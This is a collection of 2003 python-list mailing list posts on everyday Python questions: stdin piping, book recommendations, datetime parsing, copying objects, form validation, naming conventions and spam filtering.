>> error; like raw_input() was already expecting the keyboard text to be
>> there without waiting for it.
>>
>         So far as I know, raw_input() reads via sys.stdin -- which means
>         it is
> trying to read your pipe which, after the data was already read in is at
> EOF.
> 
>         I don't know enough to state if you can close and reopen
>         sys.stdin to
> redirect it back to the console.
> 
>         Might be easier to design it to read the destination file name
>         as a
> command line argument and not prompt for it.
> 
>         cat datafile | transfer_file /destinationfilename/
 
You may also try passing it :

    ( echo /destinationfilename/ ; cat datafile ) | transfer_file

Pedro



From BranimirPetrovic at yahoo.com  Fri Jan 10 22:42:05 2003
From: BranimirPetrovic at yahoo.com (Branimir Petrovic)
Date: 10 Jan 2003 19:42:05 -0800
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <mailman.1041907216.30028.python-list@python.org> <b11d1191.0301080827.48643491@posting.google.com> <uu1gh6gz3.fsf@fitlinxx.com> <b11d1191.0301092004.2dc9509c@posting.google.com> <uwulcnbqy.fsf@fitlinxx.com>
Message-ID: <b11d1191.0301101942.4ef83a06@posting.google.com>

David Bolen <db3l at fitlinxx.com> wrote in message news:<uwulcnbqy.fsf at fitlinxx.com>...
> BranimirPetrovic at yahoo.com (Branimir Petrovic) writes:
> 

> 
> By the way, if your end goal is simply directory synchronization
> (e.g., duplication across systems and/or maintaining them in sync),
> there are other alternative tools as well.  Although unrelated to
> Python, I'd definitely suggest that you take a look at rsync - it's a
> Unix derived tool, but runs fine under the Cygwin environment, so the
> rsync.exe with the cygwin1.dll is all you need under Windows. 

Will give it a check for sure (just recently installed Cygwin on my
system, but didn't quite have a suitable task for it...)

Thinking about copying file structures over the network, I might 
also try out Python threading: have one thread 'slurp' files on 
'this end' while other thread concurrently 'spits' previously read
file/block on the 'other end' to destination system. If Python 
treading did not have GIL limitation, other threads could be 
'sniffing' files on both ends in the meantime figuring out which 
files need updating. I am guessing that should all of that be 
possible in Python - performance would not get very far off from 
pure compiled (C/C++) counterpart. Performance bottleneck would 
migrate from language to where it belongs - I/O only.

Interesting options anyway, lit'l something to keep me busy:-)

Branimir



From claird at lairds.com  Tue Jan  7 09:00:15 2003
From: claird at lairds.com (Cameron Laird)
Date: Tue, 07 Jan 2003 14:00:15 -0000
Subject: Books: Core Python Programming vs. Python Cookbook
References: <f774ba3f.0301062029.721ede80@posting.google.com> <zoAS9.2014$7h3.484744@news20.bellglobal.com>
Message-ID: <v1lnbf2ffhai19@corp.supernews.com>

In article <zoAS9.2014$7h3.484744 at news20.bellglobal.com>,
Sean Ross <sross at connectmail.carleton.ca> wrote:
>I'm not very familiar with "Core Python", though I have browsed through it.
>
>I own the "Python Cookbook" and I'm very happy with it.
>It fits very neatly into one part of your criteria -
>
>>  Mostly I want
>> something to which I can refer for ideas on how to do things better
>> and examples of things I never knew were possible (or at least I never
>> knew were simpler than they sound).
>
>And, it does cover some Tkinter, network programming, etc. But it does not
>cover these topics in depth.
>Also,  it is available for free online. Personally, I prefer to read from a
>book which is why I bought a copy.
>But the same material, plus new submissions are available at
>     aspn.activestate.com/ASPN/Python/Cookbook/
>in case your interested.
>
>For greater coverage of Tkinter, network programming, etc., I'd recommend
>     "Programming Python, 2nd Ed.", by Mark Lutz.
>It's a bit dated now, but it's still got a lot of code on a lot of subjects.
>Unfortunately, it is pretty expensive so, if money is an issue, this may be
>a problem.
>
>Oh, and for Tkinter in particular, I'd recommend "Python and Tkinter", by
>John E. Grayson.
>But, again, you've only got so much money...
>
>So, in a nutshell (which should be out soon I hope,  ;)  ),
>I'd say if you have the money get "Programming Python, 2nd Ed." otherwise
>get "Python Cookbook".
>The only thing I can say about "Core Python" is it did not convince me to
>purchase it.
			.
			.
			.
*Core Python*'s a fine book.  I recommend it for people
who are tentative about programming, and need a lot of
hand-holding.  On the other hand, Prentice-Hall published
it in 2001, and it only touches on 2.0 features.  My
guess is Mr. MacMillan can do better.

John's book's even older, but still tops for Tkinter.
The one competitor, I suppose, is Fredrik's *An Introduction
to Tkinter*.

*Programming Python* gives a lot, but it's not for every-
one.  I still haven't figured out how to characterize it,
although people who consider themselves "beginners" in
Python generally don't find it satisfying--'least, not in
my experience.

I don't think the *Cookbook* can be beaten.  It says all
the right things, and says them artfully.  In principle,
it's to be read by those who already know what they're
doing with Python.  Its quality is so high, though, that
*every*one loves it.  Get the *Cookbook*.

It is *not* true that 
  http://aspn.activestate.com/ASPN/Python/Cookbook/
has everything the dead trees version has, plus updates.
While it's a reasonable expectation, and perhaps things
have changed since I last looked (when I tried now, I was
unable to get through to aspn.activestate.com), they have
been related-but-different in previous months.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From joshfuller at operamail.com  Tue Jan 21 15:13:34 2003
From: joshfuller at operamail.com (oofoe)
Date: 21 Jan 2003 12:13:34 -0800
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <45577133.0301211213.14025e73@posting.google.com>

Hi!

jbperez808 at yahoo.com (Jonathan P.) wrote in message news:<f57664b9.0301110959.5b1439da at posting.google.com>...
> I agree with the fact that explicit use of self is good
> for code readability, however it tends to make code lines
> too long.  Since 'self' is just a convention, I wonder if
> people out there have tried replacing it with a one-character
> equivalent without encountering any problems.

I dislike the word 'self' for the method's object argument. It's
clumsy to say and lends an unwarranted arrogance and formality
to the method call. I prefer the much more friendly name 'my'.
It's one letter longer than your preferred length, but it's
very natural. To paraphrase Mark Twain, it's a name that's willing
to roll up its sleeves, spit on its hands and get right to work,
instead of setting out for a scenic sail across a vast ocean of
verbose bureaucratese. See for yourself:

class uptight:
   name_christian = "Victor"
   name_family = "Blendeloquene II"
   age_in_years = 56

   def describe(self): 
      print "%s %s is %s years old." % (
         self.name_christian, 
         self.name_family, 
         self.age_in_years)

class cool:
   name = "Jack Flash"
   nick = "Jumpin'"
   sign = "aquarius"

   def hi(my): print "I'm " + my.name + ", call me " + my.nick + "."

   def baby(my): my.hi(); print "I'm an " + my.sign + ", how about you?"

a = uptight(); a.describe(); print

k = cool(); k.baby()

As you can see from the code samples above, the second class (the 
'cool' one) is much easier to read and far more compact than the
'correct', but thoroughly uptight, version at the top. Notice also
the expressiveness of the code. The cool class has already got
the next dance lined up in eight lines of code before the uptight
class has managed to finish introducing himself in ten.

A key point is that the 'my' name connotes possessiveness in the
created clause, whereas the 'self' name can only form a clumsy
compound name: "my.name" as opposed to "self.name". 

The one possible fly in the ointment is that many writers of 
introductory computer programming texts like to use 'my' as a prefix
to a user written function, such as 'myPrint()' or 'myOpen()' or
even 'myHeadIsFilledWithAir()'. Since no working programmer follows
this practice for longer than ten minutes after finishing CSCI101, I
propose that the textbook authors use the 'self' as a prefix instead,
clearing the way for 'my' to enter the common lexicon.

I'm only half joking.

Jos'h



From skip at pobox.com  Wed Jan 29 15:29:39 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 29 Jan 2003 14:29:39 -0600
Subject: spambayes rocks
In-Reply-To: <b19adh$33a0$1@nntp6.u.washington.edu>
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com>
        <87fzre2xth.fsf@zamazal.org>
        <R8wZ9.31972$Vh.21432@news2.central.cox.net>
        <87n0lkju8o.fsf@zamazal.org>
        <mailman.1043865576.2481.python-list@python.org>
        <b19adh$33a0$1@nntp6.u.washington.edu>
Message-ID: <15928.14771.582422.537103@montanaro.dyndns.org>

    Donn> We hard core computer users can all put in totally effective spam
    Donn> filters, and there will still be millions getting the stuff.  

If I understand recent history correctly, the reason spammers test their
spam against SpamAssassin is that it and tools like it are used by ISPs at
their borders in sufficient numbers to filter out unwanted stuff.  It's
clearly an effective enough block to delivery of the spammers' messages that
they felt its effect enough to use it.  Spambayes and other tools which have
arisen since Paul Graham published his original missive just aren't mature
enough yet to have been adopted by enough of the community to make a
difference.

Mozilla and SpamAssassin have incorporated the Spambayes algorithms into
their probabilstic filter components.  MS has something similar in place for
their MSN users.  I think they use Brightmail for the Hotmail service.  Who
knows what AOL uses, but I doubt they've turned a blind eye to everything
that's has been happening.

    Donn> A real solution means going after these people and their support,
    Donn> and shut them down.

Sure, if technology doesn't do the trick (either because it's ineffective or
not widely enough adopted), turn the dogs^H^H^H^Hlawyers loose on them.
That is already happening.  I imagine Congress will get involved at some
point.  With the international flavor to the systems machinery, it's not
clear how much good one country's legislature (even the US's) can do.

    Milan> In a longer term, we have to find much more efficient combat
    Milan> methods against spammers.

    Skip> I assume by "efficient" you mean closer to 100% accuracy.

    Donn> Or maybe he literally meant efficient.  The efficient place to
    Donn> stop the flow is not at the destination.

For that to happen, you will need the cooperation of the involved foreign
ISPs, largely in Asia and Brazil, I think.  You can go after the stateside
spammers, but if they are really making money, they will just move offshore.
In addition, note that one of the speakers at the spam conference said that
much of the porn spam is being sent out by kids (at the behest of the
spammers).  As long as there are people - kids or otherwise - dumb enough to
do the dirty work and the spammers themselves can stay beyond the reach of
the law, it's just a whack-a-mole game at the front-end.  The only
non-moving targets you have are the ISP's gateways.

Skip




From sandskyfly at hotmail.com  Sat Jan 11 19:36:32 2003
From: sandskyfly at hotmail.com (Sandy Norton)
Date: 11 Jan 2003 16:36:32 -0800
Subject: escaping illegal characters in XML
References: <b03e80d.0301110516.439825f0@posting.google.com> <avplsu$8hq$1@slb9.atl.mindspring.net>
Message-ID: <b03e80d.0301111636.785fc0a4@posting.google.com>

Andrew Dalke wrote in message 

> What kind of illegal characters?  'escape' will convert '&', '<' and
> '>' characters.  But if you need them that likely means you are
> writing the raw input text to XML.  Are you handling the character
> set correctly?  That is, are you converting the output text to UTF-8
> or specifing the XML character set correctly?

Correct. I was converting raw input text to xml, and I wasn't handling
the character set the right way. As I mentioned in another post in
this same thread, I actually realized this after reading Uche's
article ( http://www.xml.com/pub/a/2002/11/13/py-xml.html ) which was
very helpful. Correctly encoding the characters solved my problems...

Sandy



From tim.one at comcast.net  Thu Jan 30 23:30:29 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 30 Jan 2003 23:30:29 -0500
Subject: datetime module: iso date *input* needed
In-Reply-To: <20030130181727.5a006f5d.gry@ll.mit.edu>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEHIDLAB.tim.one@comcast.net>

[george young]
> I'm using the 2.3a datetime module.  The datetime.isoformat()
> works nicely:
>   >>> import datetime
>   >>> d=datetime.datetime.now()
>   >>> d
>   datetime.datetime(2003, 1, 30, 17, 48, 7, 848769)
>   >> d.isoformat()
>   '2003-01-30T17:48:07.848769'
>
> but now I need a way to make a datetime object from a date in iso format.
> I can't find a function in datetime to do this, e.g. something like:
>   d=datetime.datetime.parse_iso('2003-01-30T17:48:07.848769')

You can stop looking:  datetime doesn't support any kind of conversion from
string.  The number of bottomless pits in any datetime module is unbounded,
and Guido declared this particular pit out-of-bounds at the start so that
there was a fighting chance to get *anything* done for 2.3.

> I thought about using the time module strptime function, but it doesn't
> do fractions of a second.

As above.  You'll have to parse it yourself for now, but part of the point
of the ISO format is that it's dead easy to parse.  The only irregularities
are that the fractional-seconds and UTC offset portions are optional.  A
simple regexp can handle all variations easily -- and I never put "simple"
next to "regexp" to be cruel <wink>.





From knightsofspamalot-factotum at gvdnet.dk  Sun Jan 12 08:14:40 2003
From: knightsofspamalot-factotum at gvdnet.dk (Martin Christensen)
Date: Sun, 12 Jan 2003 14:14:40 +0100
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com>
 <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com>
Message-ID: <87d6n2h5mn.fsf@gvdnet.dk>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>>>>> "Peter" == Peter Hansen <peter at engcorp.com> writes:
>>  Have you looked at the post you replied to? :-)
Peter> If you mean, did I misunderstand you, then no, I believe not.

Oh, my pardons, I thought you were just suggesting that I use the copy
module and had missed the fact that I already did.

Peter> My point was this: if the existing copy.py is that complicated,
Peter> but there were a much simpler way, don't you think it would
Peter> already have been implemented?

I wasn't thinking of simplicity implementation-wise. It just seems
very awkward to me that it should be necessary to import a module just
to be able to copy the value of even a primitive. For more complicated
structures it's more understandable, but copying those by value is
apparently easier. Go figure!

Peter> I'm actually surprised you have a problem with it.  I've had to
Peter> resort to that module only once so far, in two years.  I
Peter> suppose if you really have to use it often, it might become a
Peter> bit of an annoyance having to import the module.

Admittedly it's not an everyday event, but say that we have complex
data structure A from which we make complex data structure B. If
they're implemented as classes the elegant way of doing this is by
passing A to B's constructor. A copy will have to be made, or changes
to B will be reflected on A.

Another example where it's a bit more devious:

def recursive(foo, bar):

    # Code that modifies foo based on bar.

    a = recursive(foo, bar)
    b = recursive(foo + a, bar)
    # ... potentially more stuff.

Here we run into a situation where the first recursive call takes foo
with the value it was meant to have. However, in that recursive call
foo will likely be modified, and so the second recursive call in the
original caller will not take the same value of foo as the first
did. This is very easy to overlook.

Martin

- -- 
Homepage:       http://www.cs.auc.dk/~factotum/
GPG public key: http://www.cs.auc.dk/~factotum/gpgkey.txt
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Using Mailcrypt+GnuPG <http://www.gnupg.org>

iEYEARECAAYFAj4hakAACgkQYu1fMmOQldWs+gCfY1z2USYZx9d+Hiw0I/qS+P3K
lL8AoLfQ+/z3pmPjAkoRgWKP8GZv+v0w
=eOJ3
-----END PGP SIGNATURE-----



From andrew-pythonlist at puzzling.org  Mon Jan 13 23:23:32 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 14 Jan 2003 15:23:32 +1100
Subject: Self Undefined Error
In-Reply-To: <V%LU9.9153$Qr4.901923@newsread1.prod.itd.earthlink.net>
References: <V%LU9.9153$Qr4.901923@newsread1.prod.itd.earthlink.net>
Message-ID: <20030114042332.GE27010@frobozz.local>

On Tue, Jan 14, 2003 at 04:05:09AM +0000, Brent Bailey wrote:
> I am new to python and I must not understand how to make correct
> declerations.  Does anyone have any idea why I get, NameError: "self" is not
> defined, for the following code.
> 
> import socket
> 
> import struct
> 
> import select
> 
> class Exploit:
> 
> def init(self):
> 
>         pass

Methods of a class need to be indented, so that they are "inside" the class.
E.g.:

class Exploit:
    def init(self):
        pass

(Note also that the constructor for a class in python is __init__, not init,
and if it doesn't do anything, may be omitted entirely.)

-Andrew.





From ianb at colorstudy.com  Wed Jan 29 06:00:28 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 29 Jan 2003 05:00:28 -0600
Subject: Zope-like html-forms and required, disappearing values
	serverside in plain python
In-Reply-To: <87OZ9.16601$CG6.281469@news4.e.nsc.no>
References: <87OZ9.16601$CG6.281469@news4.e.nsc.no>
Message-ID: <1043838028.29616.321.camel@lothlorien>

On Wed, 2003-01-29 at 04:34, Thomas Weholt wrote:
> I'm trying to implement something similar to Zopes html-forms:
> 
> <form ....>
>   <input type="text" name="name:string:required">
>   <input type="text" name="age:int">
>   ...
> </form>

This Zope technique is lame.  You shouldn't put validation information
into the form like this, you should keep it on the server side where
it's safe and can actually be trusted.  

I'd describe the form in the form handler.  (Well, I wrote FunFormKit
(.sf.net), so I went a lot further than that)

But even if you want something simple, putting that information in your
script should be easy, like:

def d(**kw): return kw
formRestrictions = d(name=d(type=string, required=1),
                     age=d(type=int))

Or something like that.  Or if I was to translate form submissions into
function/method calls, I'd use the signature, like:

def form(self, name, ageInt=None):
    ...

name is required since there's no default value, age is an integer
because it ends in Int.  Or you could put the type information into the
docstring or a function property (like form.inputTypes={"age": int}).

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From phr-n2002b at NOSPAMnightsong.com  Mon Jan 13 22:06:49 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 13 Jan 2003 19:06:49 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org> <7xsmvzw91d.fsf@ruckus.brouhaha.com> <mailman.1042392686.28473.python-list@python.org> <9UiU9.7010$DQ5.4151@nwrddc04.gnilink.net> <7xfzrym4dv.fsf@ruckus.brouhaha.com> <slrnb26h5i.2ufg.Gareth.McCaughan@g.local>
Message-ID: <7x65sse8fq.fsf@ruckus.brouhaha.com>

Gareth McCaughan <Gareth.McCaughan at pobox.com> writes:
> The explanation given by its creators is that it was supposed
> to be so clean, well-organized and simple an implementation
> that one could understand it completely in 48 hours. They
> admit that this objective has not been completely achieved :-).
> Of course it's possible that there are other reasons for the
> name; perhaps the official one is retrofitted.

Hmm, there's a much simpler Scheme implementation by George Carrette
called "siod", which at one point stood for "Scheme in One Day"
(referring to the implementation time he thought would be needed).

I probably spent a day or so looking at the T code.  That's certainly
not enough to understand it completely, but it was enough to see the
outline and at numerous times find myself saying "hey, cool, wow", etc. 



From python at dylanreinhardt.com  Sun Jan 19 00:52:00 2003
From: python at dylanreinhardt.com (Dylan Reinhardt)
Date: Sat, 18 Jan 2003 21:52:00 -0800
Subject: __parent__ - like attribute?
In-Reply-To: <hcbd0b.l44.ln@beastie.ix.netcom.com>
References: <av7cuu$cu2$1@slb0.atl.mindspring.net>
 <YhlS9.24314$NB4.6001@FE05>
 <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com>
 <mailman.1042947586.19440.python-list@python.org>
Message-ID: <5.1.1.6.0.20030118211931.01d53578@www.dylanreinhardt.com>

At 09:00 PM 1/18/2003, Dennis Lee Bieber wrote:
>        My understanding was that he wants changes /in/ the eggs instance to
>affect the "changed" attribute of the spam instance.

Yes, exactly.

>         To which my response is: What is
>
>c = eggs()
>c.do_stuff()
>
>supposed to be changing? The global namespace?

I don't think so... but if that gets me where I need to go, I'm all ears.  :-)

>class eggs(spam):
>         def __init__(self):
>                 spam.__init__(self)
>
>         def do_stuff(self):
>                 self.changed = 1
>                 ...

I doubt inheritance will do the trick here.  Spam isn't a base class, it 
defines a container object.

To recap/clarify:

I have several instances of spam, each of which contains (let's say) many 
thousands of instances of eggs.  I want for changes made to a single 
instance of eggs to be made known to the specific instance of spam that 
contains it.  Similarly, I want for any instance of eggs to be able to get 
the value of any attribute of its containing spam object.

To put this more generally, I want a subobject to find its containing 
object so that methods of the containing object can be called and 
attributes of the containing object can be set/checked. I gather there's no 
easy, pre-defined way to do this, so any namespace voodoo that can do the 
trick would be most welcome.

Thanks,

Dylan





From andrew-pythonlist at puzzling.org  Thu Jan  9 19:56:13 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 10 Jan 2003 11:56:13 +1100
Subject: Having a __stdlib__ namespace?
In-Reply-To: <avl3bi$v9i$1@agate.berkeley.edu>
References: <avl3bi$v9i$1@agate.berkeley.edu>
Message-ID: <20030110005613.GA5962@frobozz.local>

On Fri, Jan 10, 2003 at 12:15:46AM +0000, Daniel Yoo wrote:
[..snip..]
> For example:
> 
> ###
> import __stdlib__.random      ## guarantees that we're using the
>                               ## standard library module to look this up
> ###

I'm not sure if this would be of any real benefit -- agree it would be nice,
but there is already so much code out there that assumes the standard
library is directly accessible.

Also, I'd simply use "stdlib" or even just "std", not "__stdlib__".  It
doesn't need to be magic, it would just be an ordinary python package.

I'd love to see something like this in Python 3, though.  <wink>

-Andrew.





From franck.lepoutre at caramail.com  Fri Jan 31 03:20:53 2003
From: franck.lepoutre at caramail.com (francois lepoutre)
Date: Fri, 31 Jan 2003 09:20:53 +0100
Subject: mod_python examples
References: <slrnb3jj9c.6rf.gargravarr@somewhere.obl.org>
Message-ID: <3e3a29f4$0$584$79c14f64@nan-newsreader-03.noos.net>

> I need a couple of larger examples than what the
> official mod_python documentation gives
> (which isn't really much for
> a newbie to mod_python).

What kind of things are you looking for?

mod_python is both a superb idea and
a great achievement. You can build great
apps with a couple lines of codes:

- read the code carefully, install the
package and you existing cgi will fly,

- grasp the publisher concepts, push
a couple of hundreds lines of object-based
code and you have a minimal persistent
app "? la zope",

- get a firmer hand on the whole mod_python
picture, build you own framework (a couple of
thousand lines) and you have your own portal
framework.

Of course the documentation is nice but concise.
A couple of diagrams would help.

I tend to believe that most users of
mod_python have a strong apache/perl
background. That may explain why
the documentation - despite great - is so dry.

I am preparing a couple of pages dedicated to
mod_python/win32 and cross-platform
development issues on which i stumbled.

Just wish i had to the time to produce them.

The only thing i can tell up to now read the
documentation, read it twice or thrice if needed.

If you wish more general information
on optimization tips and tricks, you
should dive into mod_perl/apache docs.

May google will help you on this...

Fran?ois





From donn at u.washington.edu  Thu Jan 30 12:33:22 2003
From: donn at u.washington.edu (Donn Cave)
Date: 30 Jan 2003 17:33:22 GMT
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com> <87fzre2xth.fsf@zamazal.org> <R8wZ9.31972$Vh.21432@news2.central.cox.net> <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org> <b19adh$33a0$1@nntp6.u.washington.edu> <mailman.1043872350.29360.python-list@python.org> <slrn.pl.b3gfvm.go.jzgoda@kotek.home> <6VCdnQ7z-uD5zaSjXTWcqw@comcast.com>
Message-ID: <b1bnl2$181k$1@nntp6.u.washington.edu>

Quoth "Brett g Porter" <BgPorter at NOartlogicSPAM.com>:
...
| Of course, DNS-based blacklists shoot an elephant gun at the problem, and
| it's just too bad if you happen to innocently be using an ISP who gets
| flagged as a source of spam. Every few months this happens to us, and after
| we see messages being bounced, we call the ISP, and they boot the spammer,
| and eventually the domain gets removed from the blacklist, but by that time
| we've lost a few days of business email.
|
| Blocking all mail (even legitimate) from South Korea  solves one problem,
| but creates another -- if my ISP happens to subscribe to this blacklist
| service, there's absolutely no way for me to receive email from my family
| living there.

Then you and your family urgently need to bring this problem to the
Korean authorities.  Until they take responsibility for the problem,
you will be hostages to one side or the other in an anarchic struggle
between ISPs and spammers.

I'm sure some ISPs will play the spammers' game and try to filter out
their messages, but others will blacklist in the hope of forcing some
real progress.

	Donn Cave, donn at u.washington.edu



From peter at engcorp.com  Wed Jan  8 16:40:40 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 16:40:40 -0500
Subject: Small problem when overloading member functions...
References: <ef7a350b.0301081234.69f16267@posting.google.com>
Message-ID: <3E1C9AD8.1D538405@engcorp.com>

Sean wrote:
> 
> Anyway, I have a setup where I
> initialize a class object within another class, and then have to
> overload one of the new object's functions:
> 
> class A:
>   def __init__(self):
>     pass
> 
>   def setFunction(self, fromFunc, toFunc):
>     fromFunc = toFunc

This line can only rebind the *local* variable called "fromFunc"
away from the value that was passed in, to the value bound to the
local variable called "toFunc".  It has no effect whatsoever
on the attributes of any instance of A, since the variables are
entirely local to the function...

Also, you are not *overloading* member functions.  That's a term
from other languages which refers to the ability to create 
multiple methods *with the same name* but with different type
signatures, and the compiler choses which one to call based on
the types of the arguments provided.  Since Python is dynamically
typed, it does not support this concept.  

I would say that you are perhaps *overriding* the methods, but
even that term is already used to refer to the case where a 
child class replaces the definition of a method in the parent
class with its own version, to extend the functionality.

Perhaps we should just refer to *replacing* or even, in Python
fashion, *rebinding* member functions (which I would call 
"methods", usually).

As for how you do it... use references to the *class* names
and not the instances:

in the myClass __init__ method, do this:

   a = A()
   a.setFunction('myPrint', myClass.newPrint)

and in the setFunction method, do this:

   setattr(self.__class__, fromFunc, toFunc)

Or did you really mean to replace the function in *only* the
one instance of the A class?  That takes a different approach,
which I can't recall off the top of my head.... using bound 
methods?

-Peter



From paul at boddie.net  Wed Jan 22 07:40:58 2003
From: paul at boddie.net (Paul Boddie)
Date: 22 Jan 2003 04:40:58 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <23891c90.0301210334.6d719987@posting.google.com> <rudq2vkfi6akc6absu404fbolmfec5m10a@4ax.com>
Message-ID: <23891c90.0301220440.74308d12@posting.google.com>

Afanasiy <abelikov72 at hotmail.com> wrote in message news:<rudq2vkfi6akc6absu404fbolmfec5m10a at 4ax.com>...
> 
> I am referring to things like PHP automatically splitting multi-valued
> form fields (checkboxes, select/option) into arrays for you if you just
> name them, in the html, with [] appended. Just a thoughtful addition.
> 
> Or perhaps Python developers consider it another horrible implicit.

Horribly flawed, more like. I'd rather my application know (through
various means, not necessarily hard-coded) what data type a particular
piece of information is supposed to be, rather than such information
arriving in an HTTP request. Certainly, the cgi module supports
multi-valued fields, and I do agree that frameworks could provide
better support for processing of field data. Indeed, I've done various
experiments aimed at this neglected side of Web programming.

Paul



From nilobject at mac.com  Thu Jan 23 18:56:05 2003
From: nilobject at mac.com (Tyson Tate)
Date: Thu, 23 Jan 2003 15:56:05 -0800
Subject: Books for newbies
In-Reply-To: <200301232343.PAA25722@mail.arc.nasa.gov>
Message-ID: <3C364233-2F2E-11D7-A454-000393DC08EA@mac.com>

My first post! (Everyone, now, "noob!")

Anyhow, I just first started to dig into Python yesterday and I must 
say I'm quite impressed. I like it's easy learning curve, however, I've 
now exhausted my newbie tutorials and I'm ready to start investing to 
go further in Python. I was wondering what are some recommended books 
are. I'm looking for books that assume general programming knowledge 
(OOP, classes, basic concepts, etc) and cover everything from the 
basics to more advanced topics.

I was unable to find a way to search the list archives from 
http://mail.python.org/mailman/listinfo/python-list, so I'm sorry if 
this is one of the most common posts.

I'm also curious as to where some good repositories of example code and 
re-useable methods/procedures/whatever are.

TIA,
Tyson


--
Tyson Tate, Editor
Entropy Magazine
"Nourishment For The Starved."
http://www.entropymag.net





From peter at engcorp.com  Fri Jan 17 12:13:40 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 17 Jan 2003 12:13:40 -0500
Subject: Python 2.3: int() ?
References: <b09761$a32$1@news.schlund.de>
Message-ID: <3E2839C4.525D7E9C@engcorp.com>

Carsten Gaebler wrote:
> 
> Hi there,
> 
> I just read the 2.3 'highlights' page on python org, and I'm a bit
> confused: it says '# int() - this can now return a long when converting
> a string with many digits, rather than raising OverflowError.'
> 
> What does 'can' mean here? Can I switch between returning a long or
> raising an exception?

It means "can, when it needs to", as opposed to "cannot" which is 
how it was before.

-Peter



From imbosol at vt.edu  Mon Jan 13 14:23:33 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 13 Jan 2003 19:23:33 GMT
Subject: Seeking Minimal Python Project Name
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org>
Message-ID: <VmEU9.38812$uL2.13042@nwrddc01.gnilink.net>

Christian Tismer wrote:
> Anyone having some good suggestions?

Python 3K


-- 
CARL BANKS



From llothar at web.de  Thu Jan 16 18:23:37 2003
From: llothar at web.de (Lothar Scholz)
Date: 16 Jan 2003 15:23:37 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E2689CD.B085BED5@alcyone.com>
Message-ID: <6ee58e07.0301161523.65f3343b@posting.google.com>

> 
> This general class of notation is called Hungarian notation.  It's
> either strongly liked or disliked; there's rarely opinions that lie in
> between.  (I'm of the opinion that it is almost always overkill, tends
> to become inaccurate over time due to code shift, and 99% of its
> benefits can be gained simply by choosing appropriate identifiers.  Not
> to mention terrribly ugly.)

I can't find at least one good reason for this notation. Its a well
known
jokes that Hungarian notation was the reason that Win95 was delayed 2
years
because the programmer had to change every line of code :-)

In fact now you have this fucking WIN32 API where you can find lots of
places where the variable is different then the prefix. Event
datatypes change during program lifetime - ignoring this means simply
being a manager that has never written a really large software system.

If your variables are so short that you can't imagine the name you are
doing something wrong. I program in eiffel the whole day and we have
method names
like  "create_keyboard_shortcut_from_string". You read a program
multiple times
but you type it much less.



From genericax at hotmail.com  Thu Jan  9 14:07:25 2003
From: genericax at hotmail.com (Sara)
Date: 9 Jan 2003 11:07:25 -0800
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <VfDS9.4230$Fj2.2514015@news2.news.adelphia.net> <eYFS9.18484$xb.14542@nwrddc02.gnilink.net> <i02p1vkdio5uvmfrj84koeoe1mr2ibb3jk@4ax.com>
Message-ID: <776e0325.0301091107.3cf2de32@posting.google.com>

Andrew Lee <> wrote in message news:<i02p1vkdio5uvmfrj84koeoe1mr2ibb3jk at 4ax.com>...

> 
> There is no end to the stupidity of recruiters/headhunters/incopetent
> IT managers.  How many times have you seen an advertisement for PEARL?
> I had a manager once who insisted that strict.pm was useless "cause it
> breaks all my programs."
> 
> Sheesh!

Ha! I had to laugh out loud at this one Andrew, mainly because IT'S
TRUE! I was asked to please remove -w and -T from the she-bang line,
and take out "use strict" because when people have to modify my code,
they are getting warnings and errors. They were complaining that they
have to remove them themselves and why didn't I just stop using them??

I must be STUPID!

Thanks for the laugh I needed one today..
-Gx



